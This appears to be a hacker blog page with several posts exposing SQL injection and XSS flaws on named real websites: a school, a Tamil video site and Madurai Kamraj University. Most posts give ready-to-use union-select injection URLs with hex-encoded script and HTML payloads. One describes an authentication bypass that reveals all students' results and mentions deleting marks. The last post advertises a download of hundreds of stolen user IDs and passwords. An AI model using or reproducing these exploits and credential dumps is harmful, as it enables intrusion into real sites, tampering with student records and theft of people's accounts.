bug found at tvs lakshmi school website !!!!!

[update]:
I have sent a mail to tvsmhss@tvslvs.com regarding this vulnerability and asked them to rectify it .



 
Hi t3ch viewers , i recently came across a bug at tvs lakshmi school website ...

It has xss and sqli bugs and all its major databases are visibile making it more vulnerable for hacking .

details :

site name: www.tvsmhss.org

bug :sqli

no of columns:7

visible text: 2 and 4 

proof and demo:

to veiw proof and demo of the bug click the below link

http://www.tvsmhss.org/bulletinnews.php?id=-1%20union%20select%201,concat(0x52,0x65,0x63,0x65,0x6E,0x74,0x20,0x6E,0x65,0x77,0x73,0x20,0x66,0x72,0x6F,0x6D,0x20,0x74,0x68,0x65,0x20,0x73,0x63,0x68,0x6F,0x6F,0x6C,0x3A,0x0A,0x3C,0x68,0x31,0x3E,0x54,0x68,0x69,0x73,0x20,0x77,0x65,0x62,0x73,0x69,0x74,0x65,0x20,0x68,0x61,0x73,0x20,0x78,0x73,0x73,0x20,0x61,0x6E,0x64,0x20,0x73,0x71,0x6C,0x69,0x20,0x62,0x75,0x67,0x73,0x20,0x2E,0x2E,0x20,0x3A,0x28,0x20,0x2E,0x2E,0x0A,0x42,0x75,0x67,0x20,0x66,0x6F,0x75,0x6E,0x64,0x20,0x62,0x79,0x20,0x74,0x68,0x65,0x20,0x72,0x61,0x73,0x63,0x61,0x6C,0x20,0x2E,0x2E,0x3C,0x62,0x72,0x2F,0x3E,0x0A,0x3C,0x61,0x20,0x68,0x72,0x65,0x66,0x3D,0x22,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x74,0x33,0x63,0x68,0x2E,0x69,0x6E,0x22,0x3E,0x63,0x6C,0x69,0x63,0x6B,0x20,0x68,0x65,0x72,0x65,0x20,0x74,0x6F,0x20,0x67,0x6F,0x20,0x74,0x6F,0x20,0x74,0x33,0x63,0x68,0x2E,0x69,0x6E,0x3C,0x2F,0x61,0x3E),3,4,5,6,7--

Read more »

bug found at kingtamil.com

The website kingtamil.com has been found to have sqli and xss vulnerability .
the bug was found by hussain .

details for the hackers:

vulnerable url:kingtamil.com/videos.php?id=45
no of columns : 7
visible columns 2,4,3.

details for the n00bs:

check the bug of the site , by visiting the following url .
http://kingtamil.com/videos.php?id=-45%20union%20select%201,concat(0x3C,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0x61,0x6C,0x65,0x72,0x74,0x28,0x27,0x62,0x75,0x67,0x20,0x66,0x6F,0x75,0x6E,0x64,0x20,0x62,0x79,0x20,0x72,0x61,0x73,0x63,0x61,0x6C,0x20,0x61,0x6E,0x64,0x20,0x68,0x75,0x73,0x73,0x61,0x69,0x6E,0x20,0x2D,0x2D,0x20,0x77,0x77,0x77,0x2E,0x74,0x33,0x63,0x68,0x2E,0x69,0x6E,0x20,0x27,0x29,0x3B,0x3C,0x2F,0x73,0x63,0x72,0x69,0x70,0x74,0x3E,0x3C,0x68,0x31,0x3E,0x42,0x75,0x67,0x20,0x66,0x6F,0x75,0x6E,0x64,0x20,0x62,0x79,0x20,0x3C,0x61,0x20,0x68,0x72,0x65,0x66,0x3D,0x22,0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,0x74,0x33,0x63,0x68,0x2E,0x69,0x6E,0x22,0x3E,0x77,0x77,0x77,0x2E,0x74,0x33,0x63,0x68,0x2E,0x69,0x6E,0x3C,0x2F,0x61,0x3E,0x3C,0x2F,0x68,0x31,0x3E),3,4,5,6,7;--


enjoy . R45c4l

Read more »

SQL bug in Madurai kamraj university site!

SQL injection discovered  by Hussain , on Madurai Kamraj University site , this allow the user to see the results of all students without specifying  a register number .

POC:

1. link : http://www.mkuniversity.org/results_new.php

2. Select any course , instead of register number copy and paste this code and press get results button .




3.You can see results of all student without requiring  a register number , this works on similar site , to bypass authentication.


this injection can be also used to insert malicious sql command which can delete all the marks of the student from the database . :(


Enjoy .

Read more »

Biggest collection of Hacked Emails and Passwords .

The ultimate hack by the Rascal , check it out

It is a collection of 100s of user IDs and passwords hacked by me

Download Link:

http://www.mediafire.com/?janme4xzkgxq8ox

Password is: t3ch.in

Read more »